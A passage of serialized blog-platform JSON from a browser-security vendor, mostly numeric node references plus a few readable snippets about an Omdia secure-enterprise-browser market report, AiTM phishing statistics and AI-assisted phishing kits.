tems":53363},[53364,53366],{"sys":53365,"name":297},{"id":2828},{"sys":53367,"name":2825},{"id":2824},{"items":53369},[53370],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":53371},{"url":5032},{"__typename":1788,"sys":53373,"content":53374,"title":10645,"synopsis":10646,"hashTags":59,"publishedDate":10647,"slug":10648,"tagsCollection":53804,"authorsCollection":53810},{"id":10136},{"json":53375},{"data":53376,"content":53377,"nodeType":1739},{},[53378,53385,53409,53414,53420,53435,53448,53451,53458,53471,53487,53507,53512,53525,53549,53554,53559,53572,53575,53582,53588,53595,53611,53624,53631,53653,53659,53666,53690,53696,53703,53709,53714,53717,53724,53730,53737,53742,53745,53752,53758,53764,53770,53780,53783,53789],{"data":53379,"content":53380,"nodeType":963},{},[53381],{"data":53382,"marks":53383,"value":10148,"nodeType":865},{},[53384],{"type":961},{"data":53386,"content":53387,"nodeType":866},{},[53388,53391,53397,53400,53406],{"data":53389,"marks":53390,"value":10155,"nodeType":865},{},[],{"data":53392,"content":53393,"nodeType":882},{"uri":10158},[53394],{"data":53395,"marks":53396,"value":10163,"nodeType":865},{},[],{"data":53398,"marks":53399,"value":10167,"nodeType":865},{},[],{"data":53401,"content":53402,"nodeType":882},{"uri":10170},[53403],{"data":53404,"marks":53405,"value":10175,"nodeType":865},{},[],{"data":53407,"marks":53408,"value":10179,"nodeType":865},{},[],{"data":53410,"content":53413,"nodeType":925},{"target":53411},{"sys":53412},{"id":10184,"type":922,"linkType":923},[],{"data":53415,"content":53416,"nodeType":866},{},[53417],{"data":53418,"marks":53419,"value":10192,"nodeType":865},{},[],{"data":53421,"content":53422,"nodeType":866},{},[53423,53426,53432],{"data":53424,"marks":53425,"value":10199,"nodeType":865},{},[],{"data":53427,"content":53428,"nodeType":882},{"uri":10202},[53429],{"data":53430,"marks":53431,"value":10207,"nodeType":865},{},[],{"data":53433,"marks":53434,"value":10211,"nodeType":865},{},[],{"data":53436,"content":53437,"nodeType":866},{},[53438,53441,53445],{"data":53439,"marks":53440,"value":10218,"nodeType":865},{},[],{"data":53442,"marks":53443,"value":10223,"nodeType":865},{},[53444],{"type":961},{"data":53446,"marks":53447,"value":1048,"nodeType":865},{},[],{"data":53449,"content":53450,"nodeType":953},{},[],{"data":53452,"content":53453,"nodeType":963},{},[53454],{"data":53455,"marks":53456,"value":10237,"nodeType":865},{},[53457],{"type":961},{"data":53459,"content":53460,"nodeType":866},{},[53461,53464,53468],{"data":53462,"marks":53463,"value":10244,"nodeType":865},{},[],{"data":53465,"marks":53466,"value":10249,"nodeType":865},{},[53467],{"type":944},{"data":53469,"marks":53470,"value":1048,"nodeType":865},{},[],{"data":53472,"content":53473,"nodeType":866},{},[53474,53477,53484],{"data":53475,"marks":53476,"value":10259,"nodeType":865},{},[],{"data":53478,"content":53479,"nodeType":882},{"uri":3620},[53480],{"data":53481,"marks":53482,"value":10267,"nodeType":865},{},[53483],{"type":997},{"data":53485,"marks":53486,"value":10271,"nodeType":865},{},[],{"data":53488,"content":53489,"nodeType":866},{},[53490,53493,53497,53500,53504],{"data":53491,"marks":53492,"value":10278,"nodeType":865},{},[],{"data":53494,"marks":53495,"value":10283,"nodeType":865},{},[53496],{"type":961},{"data":53498,"marks":53499,"value":10287,"nodeType":865},{},[],{"data":53501,"marks":53502,"value":10292,"nodeType":865},{},[53503],{"type":944},{"data":53505,"marks":53506,"value":10296,"nodeType":865},{},[],{"data":53508,"content":53511,"nodeType":925},{"target":53509},{"sys":53510},{"id":10301,"type":922,"linkType":923},[],{"data":53513,"content":53514,"nodeType":866},{},[53515,53518,53522],{"data":53516,"marks":53517,"value":10309,"nodeType":865},{},[],{"data":53519,"marks":53520,"value":10314,"nodeType":865},{},[53521],{"type":961},{"data":53523,"marks":53524,"value":10318,"nodeType":865},{},[],{"data":53526,"content":53527,"nodeType":866},{},[53528,53531,53537,53540,53546],{"data":53529,"marks":53530,"value":10325,"nodeType":865},{},[],{"data":53532,"content":53533,"nodeType":882},{"uri":10328},[53534],{"data":53535,"marks":53536,"value":10333,"nodeType":865},{},[],{"data":53538,"marks":53539,"value":10337,"nodeType":865},{},[],{"data":53541,"content":53542,"nodeType":882},{"uri":10340},[53543],{"data":53544,"marks":53545,"value":10345,"nodeType":865},{},[],{"data":53547,"marks":53548,"value":10349,"nodeType":865},{},[],{"data":53550,"content":53553,"nodeType":925},{"target":53551},{"sys":53552},{"id":10354,"type":922,"linkType":923},[],{"data":53555,"content":53558,"nodeType":925},{"target":53556},{"sys":53557},{"id":10360,"type":922,"linkType":923},[],{"data":53560,"content":53561,"nodeType":866},{},[53562,53565,53569],{"data":53563,"marks":53564,"value":10368,"nodeType":865},{},[],{"data":53566,"marks":53567,"value":10373,"nodeType":865},{},[53568],{"type":961},{"data":53570,"marks":53571,"value":10377,"nodeType":865},{},[],{"data":53573,"content":53574,"nodeType":953},{},[],{"data":53576,"content":53577,"nodeType":963},{},[53578],{"data":53579,"marks":53580,"value":10388,"nodeType":865},{},[53581],{"type":961},{"data":53583,"content":53584,"nodeType":866},{},[53585],{"data":53586,"marks":53587,"value":10395,"nodeType":865},{},[],{"data":53589,"content":53590,"nodeType":1458},{},[53591],{"data":53592,"marks":53593,"value":10403,"nodeType":865},{},[53594],{"type":961},{"data":53596,"content":53597,"nodeType":866},{},[53598,53601,53608],{"data":53599,"marks":53600,"value":21,"nodeType":865},{},[],{"data":53602,"content":53603,"nodeType":882},{"uri":3288},[53604],{"data":53605,"marks":53606,"value":10417,"nodeType":865},{},[53607],{"type":997},{"data":53609,"marks":53610,"value":10421,"nodeType":865},{},[],{"data":53612,"content":53613,"nodeType":866},{},[53614,53617,53621],{"data":53615,"marks":53616,"value":10428,"nodeType":865},{},[],{"data":53618,"marks":53619,"value":10433,"nodeType":865},{},[53620],{"type":961},{"data":53622,"marks":53623,"value":10437,"nodeType":865},{},[],{"data":53625,"content":53626,"nodeType":1458},{},[53627],{"data":53628,"marks":53629,"value":288,"nodeType":865},{},[53630],{"type":961},{"data":53632,"content":53633,"nodeType":866},{},[53634,53638,53646,53650],{"data":53635,"marks":53636,"value":21,"nodeType":865},{},[53637],{"type":961},{"data":53639,"content":53640,"nodeType":882},{"uri":4136},[53641],{"data":53642,"marks":53643,"value":10460,"nodeType":865},{},[53644,53645],{"type":997},{"type":961},{"data":53647,"marks":53648,"value":10465,"nodeType":865},{},[53649],{"type":961},{"data":53651,"marks":53652,"value":10469,"nodeType":865},{},[],{"data":53654,"content":53655,"nodeType":866},{},[53656],{"data":53657,"marks":53658,"value":10476,"nodeType":865},{},[],{"data":53660,"content":53661,"nodeType":1458},{},[53662],{"data":53663,"marks":53664,"value":10484,"nodeType":865},{},[53665],{"type":961},{"data":53667,"content":53668,"nodeType":866},{},[53669,53672,53678,53681,53687],{"data":53670,"marks":53671,"value":10491,"nodeType":865},{},[],{"data":53673,"content":53674,"nodeType":882},{"uri":10494},[53675],{"data":53676,"marks":53677,"value":10499,"nodeType":865},{},[],{"data":53679,"marks":53680,"value":10503,"nodeType":865},{},[],{"data":53682,"content":53683,"nodeType":882},{"uri":1362},[53684],{"data":53685,"marks":53686,"value":10510,"nodeType":865},{},[],{"data":53688,"marks":53689,"value":10514,"nodeType":865},{},[],{"data":53691,"content":53692,"nodeType":866},{},[53693],{"data":53694,"marks":53695,"value":10521,"nodeType":865},{},[],{"data":53697,"content":53698,"nodeType":1458},{},[53699],{"data":53700,"marks":53701,"value":10529,"nodeType":865},{},[53702],{"type":961},{"data":53704,"content":53705,"nodeType":866},{},[53706],{"data":53707,"marks":53708,"value":10536,"nodeType":865},{},[],{"data":53710,"content":53713,"nodeType":925},{"target":53711},{"sys":53712},{"id":10541,"type":922,"linkType":923},[],{"data":53715,"content":53716,"nodeType":953},{},[],{"data":53718,"content":53719,"nodeType":963},{},[53720],{"data":53721,"marks":53722,"value":10553,"nodeType":865},{},[53723],{"type":961},{"data":53725,"content":53726,"nodeType":866},{},[53727],{"data":53728,"marks":53729,"value":10560,"nodeType":865},{},[],{"data":53731,"content":53732,"nodeType":866},{},[53733],{"data":53734,"marks":53735,"value":10568,"nodeType":865},{},[53736],{"type":961},{"data":53738,"content":53741,"nodeType":925},{"target":53739},{"sys":53740},{"id":10573,"type":922,"linkType":923},[],{"data":53743,"content":53744,"nodeType":953},{},[],{"data":53746,"content":53747,"nodeType":1458},{},[53748],{"data":53749,"marks":53750,"value":10585,"nodeType":865},{},[53751],{"type":961},{"data":53753,"content":53754,"nodeType":866},{},[53755],{"data":53756,"marks":53757,"value":10592,"nodeType":865},{},[],{"data":53759,"content":53760,"nodeType":866},{},[53761],{"data":53762,"marks":53763,"value":10599,"nodeType":865},{},[],{"data":53765,"content":53766,"nodeType":866},{},[53767],{"data":53768,"marks":53769,"value":10606,"nodeType":865},{},[],{"data":53771,"content":53772,"nodeType":866},{},[53773,53777],{"data":53774,"marks":53775,"value":10614,"nodeType":865},{},[53776],{"type":961},{"data":53778,"marks":53779,"value":10618,"nodeType":865},{},[],{"data":53781,"content":53782,"nodeType":953},{},[],{"data":53784,"content":53785,"nodeType":866},{},[53786],{"data":53787,"marks":53788,"value":5006,"nodeType":865},{},[],{"data":53790,"content":53791,"nodeType":866},{},[53792,53795,53801],{"data":53793,"marks":53794,"value":10634,"nodeType":865},{},[],{"data":53796,"content":53797,"nodeType":882},{"uri":9244},[53798],{"data":53799,"marks":53800,"value":10641,"nodeType":865},{},[],{"data":53802,"marks":53803,"value":1738,"nodeType":865},{},[],{"items":53805},[53806,53808],{"sys":53807,"name":2825},{"id":2824},{"sys":53809,"name":342},{"id":8410},{"items":53811},[53812],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":53813},{"url":853},"blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value",{"json":53816},{"data":53817,"content":53818,"nodeType":1739},{},[53819],{"data":53820,"content":53821,"nodeType":866},{},[53822],{"data":53823,"marks":53824,"value":53825,"nodeType":865},{},[],"Getting a clear picture of which solution is right for your team means understanding what problem you want to solve, and identifying if the browser is the best place to solve that problem. To help you navigate this, we've ranked the security problems you can solve in the browser by security value and browser fit.",{"id":3781,"publishedAt":53827},"2026-08-12T11:52:50.048Z",{"items":53829},[53830,53832],{"sys":53831,"name":297},{"id":2828},{"sys":53833,"name":2825},{"id":2824},{"items":53835},[53836,53838,53840,53842,53844,53846,53848,53850,53852,53854,53856,53858,53860,53862,53864,53866,53868,53870,53872,53874,53876,53878,53880,53882,53884],{"sys":53837,"name":297,"slug":298,"tier":31},{"id":294},{"sys":53839,"name":413,"slug":414,"tier":31},{"id":410},{"sys":53841,"name":279,"slug":280,"tier":31},{"id":276},{"sys":53843,"name":519,"slug":520,"tier":31},{"id":516},{"sys":53845,"name":235,"slug":236,"tier":31},{"id":232},{"sys":53847,"name":342,"slug":343,"tier":31},{"id":339},{"sys":53849,"name":545,"slug":546,"tier":31},{"id":542},{"sys":53851,"name":261,"slug":262,"tier":45},{"id":258},{"sys":53853,"name":589,"slug":590,"tier":45},{"id":586},{"sys":53855,"name":288,"slug":289,"tier":45},{"id":285},{"sys":53857,"name":484,"slug":485,"tier":45},{"id":481},{"sys":53859,"name":422,"slug":423,"tier":45},{"id":419},{"sys":53861,"name":502,"slug":503,"tier":45},{"id":499},{"sys":53863,"name":333,"slug":334,"tier":45},{"id":330},{"sys":53865,"name":395,"slug":396,"tier":45},{"id":392},{"sys":53867,"name":457,"slug":458,"tier":45},{"id":454},{"sys":53869,"name":315,"slug":316,"tier":45},{"id":312},{"sys":53871,"name":324,"slug":325,"tier":45},{"id":321},{"sys":53873,"name":571,"slug":572,"tier":45},{"id":568},{"sys":53875,"name":368,"slug":369,"tier":45},{"id":365},{"sys":53877,"name":580,"slug":581,"tier":45},{"id":577},{"sys":53879,"name":252,"slug":253,"tier":45},{"id":249},{"sys":53881,"name":475,"slug":476,"tier":45},{"id":472},{"sys":53883,"name":440,"slug":441,"tier":45},{"id":437},{"sys":53885,"name":633,"slug":634,"tier":45},{"id":630},"eheGEg-9k5C4bph8PtOCjFzhTfglI3HL0C87-kCdH4c",{"id":53888,"title":41590,"authorsCollection":53889,"content":53894,"extension":228,"faqItemsCollection":54511,"faqTitle":59,"featured":6,"hashTags":59,"meta":54513,"metaTitle":54514,"ogImage":59,"postType":1783,"publishedDate":36305,"relatedBlogPostsCollection":54515,"slug":41592,"stem":56464,"subtitle":59,"summary":56465,"synopsis":41591,"sys":56476,"tagsCollection":56478,"topicsCollection":56484,"__hash__":56524},"blog/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market.json",{"items":53890},[53891],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":53892,"profilePicture":53893},[17536],{"url":11434},{"json":53895,"links":54390},{"data":53896,"content":53897,"nodeType":1739},{},[53898,53913,53919,53925,53930,53933,53940,53953,53959,53964,53970,54045,54051,54056,54062,54067,54070,54077,54087,54093,54103,54106,54113,54126,54132,54138,54141,54148,54154,54167,54172,54185,54191,54197,54203,54216,54222,54225,54232,54238,54251,54257,54260,54267,54280,54286,54302,54312,54315,54322,54335,54341,54347,54353,54359,54362,54368,54374],{"data":53899,"content":53900,"nodeType":866},{},[53901,53904,53910],{"data":53902,"marks":53903,"value":873,"nodeType":865},{},[],{"data":53905,"content":53906,"nodeType":882},{"uri":41030},[53907],{"data":53908,"marks":53909,"value":41035,"nodeType":865},{},[],{"data":53911,"marks":53912,"value":41039,"nodeType":865},{},[],{"data":53914,"content":53915,"nodeType":866},{},[53916],{"data":53917,"marks":53918,"value":41046,"nodeType":865},{},[],{"data":53920,"content":53921,"nodeType":866},{},[53922],{"data":53923,"marks":53924,"value":41053,"nodeType":865},{},[],{"data":53926,"content":53929,"nodeType":925},{"target":53927},{"sys":53928},{"id":41058,"type":922,"linkType":923},[],{"data":53931,"content":53932,"nodeType":953},{},[],{"data":53934,"content":53935,"nodeType":963},{},[53936],{"data":53937,"marks":53938,"value":41070,"nodeType":865},{},[53939],{"type":961},{"data":53941,"content":53942,"nodeType":866},{},[53943,53946,53950],{"data":53944,"marks":53945,"value":41077,"nodeType":865},{},[],{"data":53947,"marks":53948,"value":41082,"nodeType":865},{},[53949],{"type":961},{"data":53951,"marks":53952,"value":41086,"nodeType":865},{},[],{"data":53954,"content":53955,"nodeType":866},{},[53956],{"data":53957,"marks":53958,"value":41093,"nodeType":865},{},[],{"data":53960,"content":53963,"nodeType":925},{"target":53961},{"sys":53962},{"id":41098,"type":922,"linkType":923},[],{"data":53965,"content":53966,"nodeType":866},{},[53967],{"data":53968,"marks":53969,"value":41106,"nodeType":865},{},[],{"data":53971,"content":53972,"nodeType":1049},{},[53973,53982,53991,54000,54009,54018,54027,54036],{"data":53974,"content":53975,"nodeType":1003},{},[53976],{"data":53977,"content":53978,"nodeType":866},{},[53979],{"data":53980,"marks":53981,"value":41119,"nodeType":865},{},[],{"data":53983,"content":53984,"nodeType":1003},{},[53985],{"data":53986,"content":53987,"nodeType":866},{},[53988],{"data":53989,"marks":53990,"value":41129,"nodeType":865},{},[],{"data":53992,"content":53993,"nodeType":1003},{},[53994],{"data":53995,"content":53996,"nodeType":866},{},[53997],{"data":53998,"marks":53999,"value":41139,"nodeType":865},{},[],{"data":54001,"content":54002,"nodeType":1003},{},[54003],{"data":54004,"content":54005,"nodeType":866},{},[54006],{"data":54007,"marks":54008,"value":41149,"nodeType":865},{},[],{"data":54010,"content":54011,"nodeType":1003},{},[54012],{"data":54013,"content":54014,"nodeType":866},{},[54015],{"data":54016,"marks":54017,"value":41159,"nodeType":865},{},[],{"data":54019,"content":54020,"nodeType":1003},{},[54021],{"data":54022,"content":54023,"nodeType":866},{},[54024],{"data":54025,"marks":54026,"value":41169,"nodeType":865},{},[],{"data":54028,"content":54029,"nodeType":1003},{},[54030],{"data":54031,"content":54032,"nodeType":866},{},[54033],{"data":54034,"marks":54035,"value":41179,"nodeType":865},{},[],{"data":54037,"content":54038,"nodeType":1003},{},[54039],{"data":54040,"content":54041,"nodeType":866},{},[54042],{"data":54043,"marks":54044,"value":41189,"nodeType":865},{},[],{"data":54046,"content":54047,"nodeType":866},{},[54048],{"data":54049,"marks":54050,"value":41196,"nodeType":865},{},[],{"data":54052,"content":54055,"nodeType":925},{"target":54053},{"sys":54054},{"id":19097,"type":922,"linkType":923},[],{"data":54057,"content":54058,"nodeType":866},{},[54059],{"data":54060,"marks":54061,"value":41208,"nodeType":865},{},[],{"data":54063,"content":54066,"nodeType":925},{"target":54064},{"sys":54065},{"id":41213,"type":922,"linkType":923},[],{"data":54068,"content":54069,"nodeType":953},{},[],{"data":54071,"content":54072,"nodeType":963},{},[54073],{"data":54074,"marks":54075,"value":41225,"nodeType":865},{},[54076],{"type":961},{"data":54078,"content":54079,"nodeType":866},{},[54080,54084],{"data":54081,"marks":54082,"value":41233,"nodeType":865},{},[54083],{"type":961},{"data":54085,"marks":54086,"value":41237,"nodeType":865},{},[],{"data":54088,"content":54089,"nodeType":866},{},[54090],{"data":54091,"marks":54092,"value":41244,"nodeType":865},{},[],{"data":54094,"content":54095,"nodeType":866},{},[54096,54100],{"data":54097,"marks":54098,"value":41252,"nodeType":865},{},[54099],{"type":961},{"data":54101,"marks":54102,"value":41256,"nodeType":865},{},[],{"data":54104,"content":54105,"nodeType":953},{},[],{"data":54107,"content":54108,"nodeType":963},{},[54109],{"data":54110,"marks":54111,"value":41267,"nodeType":865},{},[54112],{"type":961},{"data":54114,"content":54115,"nodeType":866},{},[54116,54119,54123],{"data":54117,"marks":54118,"value":41274,"nodeType":865},{},[],{"data":54120,"marks":54121,"value":34980,"nodeType":865},{},[54122],{"type":961},{"data":54124,"marks":54125,"value":41282,"nodeType":865},{},[],{"data":54127,"content":54128,"nodeType":866},{},[54129],{"data":54130,"marks":54131,"value":41289,"nodeType":865},{},[],{"data":54133,"content":54134,"nodeType":866},{},[54135],{"data":54136,"marks":54137,"value":41296,"nodeType":865},{},[],{"data":54139,"content":54140,"nodeType":953},{},[],{"data":54142,"content":54143,"nodeType":963},{},[54144],{"data":54145,"marks":54146,"value":41307,"nodeType":865},{},[54147],{"type":961},{"data":54149,"content":54150,"nodeType":866},{},[54151],{"data":54152,"marks":54153,"value":41314,"nodeType":865},{},[],{"data":54155,"content":54156,"nodeType":866},{},[54157,54160,54164],{"data":54158,"marks":54159,"value":41321,"nodeType":865},{},[],{"data":54161,"marks":54162,"value":41326,"nodeType":865},{},[54163],{"type":961},{"data":54165,"marks":54166,"value":41330,"nodeType":865},{},[],{"data":54168,"content":54171,"nodeType":925},{"target":54169},{"sys":54170},{"id":41335,"type":922,"linkType":923},[],{"data":54173,"content":54174,"nodeType":866},{},[54175,54178,54182],{"data":54176,"marks":54177,"value":41343,"nodeType":865},{},[],{"data":54179,"marks":54180,"value":41348,"nodeType":865},{},[54181],{"type":961},{"data":54183,"marks":54184,"value":41352,"nodeType":865},{},[],{"data":54186,"content":54187,"nodeType":866},{},[54188],{"data":54189,"marks":54190,"value":41359,"nodeType":865},{},[],{"data":54192,"content":54193,"nodeType":866},{},[54194],{"data":54195,"marks":54196,"value":41366,"nodeType":865},{},[],{"data":54198,"content":54199,"nodeType":866},{},[54200],{"data":54201,"marks":54202,"value":41373,"nodeType":865},{},[],{"data":54204,"content":54205,"nodeType":866},{},[54206,54209,54213],{"data":54207,"marks":54208,"value":41380,"nodeType":865},{},[],{"data":54210,"marks":54211,"value":41385,"nodeType":865},{},[54212],{"type":961},{"data":54214,"marks":54215,"value":41389,"nodeType":865},{},[],{"data":54217,"content":54218,"nodeType":866},{},[54219],{"data":54220,"marks":54221,"value":41396,"nodeType":865},{},[],{"data":54223,"content":54224,"nodeType":953},{},[],{"data":54226,"content":54227,"nodeType":963},{},[54228],{"data":54229,"marks":54230,"value":41407,"nodeType":865},{},[54231],{"type":961},{"data":54233,"content":54234,"nodeType":866},{},[54235],{"data":54236,"marks":54237,"value":41414,"nodeType":865},{},[],{"data":54239,"content":54240,"nodeType":866},{},[54241,54244,54248],{"data":54242,"marks":54243,"value":41421,"nodeType":865},{},[],{"data":54245,"marks":54246,"value":41426,"nodeType":865},{},[54247],{"type":961},{"data":54249,"marks":54250,"value":41430,"nodeType":865},{},[],{"data":54252,"content":54253,"nodeType":866},{},[54254],{"data":54255,"marks":54256,"value":41437,"nodeType":865},{},[],{"data":54258,"content":54259,"nodeType":953},{},[],{"data":54261,"content":54262,"nodeType":963},{},[54263],{"data":54264,"marks":54265,"value":41448,"nodeType":865},{},[54266],{"type":961},{"data":54268,"content":54269,"nodeType":866},{},[54270,54273,54277],{"data":54271,"marks":54272,"value":41455,"nodeType":865},{},[],{"data":54274,"marks":54275,"value":41460,"nodeType":865},{},[54276],{"type":961},{"data":54278,"marks":54279,"value":41464,"nodeType":865},{},[],{"data":54281,"content":54282,"nodeType":866},{},[54283],{"data":54284,"marks":54285,"value":41471,"nodeType":865},{},[],{"data":54287,"content":54288,"nodeType":866},{},[54289,54292,54299],{"data":54290,"marks":54291,"value":41478,"nodeType":865},{},[],{"data":54293,"content":54294,"nodeType":882},{"uri":26050},[54295],{"data":54296,"marks":54297,"value":41486,"nodeType":865},{},[54298],{"type":997},{"data":54300,"marks":54301,"value":41490,"nodeType":865},{},[],{"data":54303,"content":54304,"nodeType":866},{},[54305,54308],{"data":54306,"marks":54307,"value":41497,"nodeType":865},{},[],{"data":54309,"marks":54310,"value":41502,"nodeType":865},{},[54311],{"type":961},{"data":54313,"content":54314,"nodeType":953},{},[],{"data":54316,"content":54317,"nodeType":963},{},[54318],{"data":54319,"marks":54320,"value":41513,"nodeType":865},{},[54321],{"type":961},{"data":54323,"content":54324,"nodeType":866},{},[54325,54328,54332],{"data":54326,"marks":54327,"value":41520,"nodeType":865},{},[],{"data":54329,"marks":54330,"value":41525,"nodeType":865},{},[54331],{"type":961},{"data":54333,"marks":54334,"value":41529,"nodeType":865},{},[],{"data":54336,"content":54337,"nodeType":866},{},[54338],{"data":54339,"marks":54340,"value":41536,"nodeType":865},{},[],{"data":54342,"content":54343,"nodeType":866},{},[54344],{"data":54345,"marks":54346,"value":41543,"nodeType":865},{},[],{"data":54348,"content":54349,"nodeType":866},{},[54350],{"data":54351,"marks":54352,"value":41550,"nodeType":865},{},[],{"data":54354,"content":54355,"nodeType":866},{},[54356],{"data":54357,"marks":54358,"value":41557,"nodeType":865},{},[],{"data":54360,"content":54361,"nodeType":953},{},[],{"data":54363,"content":54364,"nodeType":866},{},[54365],{"data":54366,"marks":54367,"value":41567,"nodeType":865},{},[],{"data":54369,"content":54370,"nodeType":866},{},[54371],{"data":54372,"marks":54373,"value":1718,"nodeType":865},{},[],{"data":54375,"content":54376,"nodeType":866},{},[54377,54380,54387],{"data":54378,"marks":54379,"value":21,"nodeType":865},{},[],{"data":54381,"content":54382,"nodeType":882},{"uri":1728},[54383],{"data":54384,"marks":54385,"value":10641,"nodeType":865},{},[54386],{"type":997},{"data":54388,"marks":54389,"value":1738,"nodeType":865},{},[],{"entries":54391},{"hyperlink":54392,"inline":54393,"block":54394},[],[],[54395,54403,54440,54444,54473],{"sys":54396,"__typename":1747,"title":54397,"caption":54398,"layoutMode":59,"file":54399},{"id":41058},"Omdia report key stats infographic","Headline stats from the latest Omdia report.",{"url":54400,"width":54401,"height":54402},"https://images.ctfassets.net/y1cdw1ablpvd/62TiADpvI65W2gT7RQwlOU/a4aaad376574b1cd963fc0afa5e2942d/omdia-browser-security-infographic_2x__2_.png",1700,1434,{"sys":54404,"__typename":9270,"content":54405,"name":54439,"title":59},{"id":41098},{"json":54406},{"nodeType":1739,"data":54407,"content":54408},{},[54409],{"nodeType":866,"data":54410,"content":54411},{},[54412,54416,54423,54427,54435],{"nodeType":865,"value":54413,"marks":54414,"data":54415},"The evidence here isn’t just statistics. The real-world breaches attributed to ",[],{},{"nodeType":882,"data":54417,"content":54418},{"uri":8759},[54419],{"nodeType":865,"value":19437,"marks":54420,"data":54422},[54421],{"type":997},{},{"nodeType":865,"value":54424,"marks":54425,"data":54426},", including the ",[],{},{"nodeType":882,"data":54428,"content":54429},{"uri":4236},[54430],{"nodeType":865,"value":54431,"marks":54432,"data":54434},"ShinyHunters-branded 2026 hacking spree",[54433],{"type":997},{},{"nodeType":865,"value":54436,"marks":54437,"data":54438},", clearly underline the real-world threat. ",[],{},"Omdia report IB1",{"sys":54441,"__typename":5631,"type":5632,"ctaText":54442,"buttonLabel":54443,"buttonColour":5635,"buttonUrl":5636},{"id":19097},"Get our latest technical whitepaper to learn about the state of browser-based attacks in 2026 (no sign-up required).","Download Now",{"sys":54445,"__typename":9270,"content":54446,"name":54472,"title":59},{"id":41213},{"json":54447},{"data":54448,"content":54449,"nodeType":1739},{},[54450],{"data":54451,"content":54452,"nodeType":866},{},[54453,54457,54468],{"data":54454,"marks":54455,"value":54456,"nodeType":865},{},[],"It's worth noting that AiTM — now the dominant phishing technique in the wild,",{"data":54458,"content":54459,"nodeType":882},{"uri":3620},[54460,54463],{"data":54461,"marks":54462,"value":2157,"nodeType":865},{},[],{"data":54464,"marks":54465,"value":54467,"nodeType":865},{},[54466],{"type":997},"responsible for 62% of phishing blocked by Microsoft",{"data":54469,"marks":54470,"value":54471,"nodeType":865},{},[]," — shows up at just 17% in Omdia's data. That likely reflects a recognition gap rather than low prevalence: most organizations lack the browser-layer visibility to distinguish an AiTM reverse-proxy attack from a conventional phishing page, which means the real AiTM figure is probably buried inside the 40% who reported phishing generally.","Omdia report IB2",{"sys":54474,"__typename":9270,"content":54475,"name":54510,"title":59},{"id":41335},{"json":54476},{"nodeType":1739,"data":54477,"content":54478},{},[54479],{"nodeType":866,"data":54480,"content":54481},{},[54482,54486,54494,54498,54506],{"nodeType":865,"value":54483,"marks":54484,"data":54485},"This is something we’re seeing extensively in the wild. Just about every phishing kit we encounter today is packed with signs of AI use. You can see our ",[],{},{"nodeType":882,"data":54487,"content":54488},{"uri":12335},[54489],{"nodeType":865,"value":54490,"marks":54491,"data":54493},"recent analysis of the Doko’s Panel real-time vishing + AitM kit",[54492],{"type":997},{},{"nodeType":865,"value":54495,"marks":54496,"data":54497}," for one example of this. AI development of kits and tools is rapidly driving down the time for attackers to adopt and scale new capabilities — the ",[],{},{"nodeType":882,"data":54499,"content":54500},{"uri":1384},[54501],{"nodeType":865,"value":54502,"marks":54503,"data":54505},"37x increase in device code phishing in 2026",[54504],{"type":997},{},{"nodeType":865,"value":54507,"marks":54508,"data":54509}," being another indicator of this (we've observed heavy AI tool use across multiple kits and campaigns, with the EvilTokens kit gaining particular notoriety for its abuse of the Railway platform's AI features).",[],{},"Omdia report IB3",{"items":54512},[],{},"7 things Omdia's latest report tells us about the SEB market",{"items":54516},[54517,55189,55631],{"__typename":1788,"sys":54518,"content":54519,"title":36303,"synopsis":36304,"hashTags":59,"publishedDate":36305,"slug":36306,"tagsCollection":55179,"authorsCollection":55185},{"id":35538},{"json":54520},{"data":54521,"content":54522,"nodeType":1739},{},[54523,54528,54534,54540,54546,54549,54556,54562,54572,54582,54587,54593,54596,54603,54609,54614,54620,54626,54719,54725,54728,54735,54741,54796,54809,54814,54820,54823,54830,54836,54843,54849,54855,54880,54886,54893,54899,54905,54911,54918,54924,54930,54936,54939,54946,54956,54962,54968,54975,54981,54987,54994,55000,55055,55068,55083,55090,55096,55103,55109,55115,55121,55126,55133,55139,55145,55150,55156,55162,55168,55173],{"data":54524,"content":54527,"nodeType":925},{"target":54525},{"sys":54526},{"id":35547,"type":922,"linkType":923},[],{"data":54529,"content":54530,"nodeType":866},{},[54531],{"data":54532,"marks":54533,"value":35555,"nodeType":865},{},[],{"data":54535,"content":54536,"nodeType":866},{},[54537],{"data":54538,"marks":54539,"value":35562,"nodeType":865},{},[],{"data":54541,"content":54542,"nodeType":866},{},[54543],{"data":54544,"marks":54545,"value":35569,"nodeType":865},{},[],{"data":54547,"content":54548,"nodeType":953},{},[],{"data":54550,"content":54551,"nodeType":963},{},[54552],{"data":54553,"marks":54554,"value":35580,"nodeType":865},{},[54555],{"type":961},{"data":54557,"content":54558,"nodeType":866},{},[54559],{"data":54560,"marks":54561,"value":35587,"nodeType":865},{},[],{"data":54563,"content":54564,"nodeType":866},{},[54565,54569],{"data":54566,"marks":54567,"value":35595,"nodeType":865},{},[54568],{"type":961},{"data":54570,"marks":54571,"value":35599,"nodeType":865},{},[],{"data":54573,"content":54574,"nodeType":866},{},[54575,54579],{"data":54576,"marks":54577,"value":35607,"nodeType":865},{},[54578],{"type":961},{"data":54580,"marks":54581,"value":35611,"nodeType":865},{},[],{"data":54583,"content":54586,"nodeType":925},{"target":54584},{"sys":54585},{"id":19097,"type":922,"linkType":923},[],{"data":54588,"content":54589,"nodeType":866},{},[54590],{"data":54591,"marks":54592,"value":35623,"nodeType":865},{},[],{"data":54594,"content":54595,"nodeType":953},{},[],{"data":54597,"content":54598,"nodeType":963},{},[54599],{"data":54600,"marks":54601,"value":35634,"nodeType":865},{},[54602],{"type":961},{"data":54604,"content":54605,"nodeType":866},{},[54606],{"data":54607,"marks":54608,"value":35641,"nodeType":865},{},[],{"data":54610,"content":54613,"nodeType":925},{"target":54611},{"sys":54612},{"id":35646,"type":922,"linkType":923},[],{"data":54615,"content":54616,"nodeType":866},{},[54617],{"data":54618,"marks":54619,"value":35654,"nodeType":865},{},[],{"data":54621,"content":54622,"nodeType":866},{},[54623],{"data":54624,"marks":54625,"value":35661,"nodeType":865},{},[],{"data":54627,"content":54628,"nodeType":1049},{},[54629,54645,54661,54677,54693,54706],{"data":54630,"content":54631,"nodeType":1003},{},[54632],{"data":54633,"content":54634,"nodeType":866},{},[54635,54638,54642],{"data":54636,"marks":54637,"value":35674,"nodeType":865},{},[],{"data":54639,"marks":54640,"value":35067,"nodeType":865},{